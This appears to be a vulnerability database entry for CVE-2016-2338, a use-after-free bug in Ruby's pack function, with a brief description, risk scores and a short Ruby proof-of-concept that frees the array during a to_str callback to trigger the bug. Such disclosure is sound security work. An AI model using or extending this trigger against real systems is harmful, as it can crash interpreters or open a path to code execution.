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Ruby pack_pack Use After Free Vulnerability(CVE-2016-2338)

🗓️ 20 Oct 2017 00:00:00Reported by RootType 
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Ruby pack_pack Use After Free vulnerability (CVE-2016-2338). Exploitable vulnerability in Ruby's packpack function allows manipulation of array elements to trigger use after free vulnerability, potentially leading to code execution

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                                                $a = []
class MyObject
    def to_str
        $a.clear()
        $a = nil
        GC.start
        #spray * spray * spray
        return "TALOS"
    end
end

$a.push(MyObject.new())
$a.push(".")

puts $a.pack("AA")
                              

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20 Oct 2017 00:00Current
9.4High risk
Vulners AI Score9.4
EPSS0.04644
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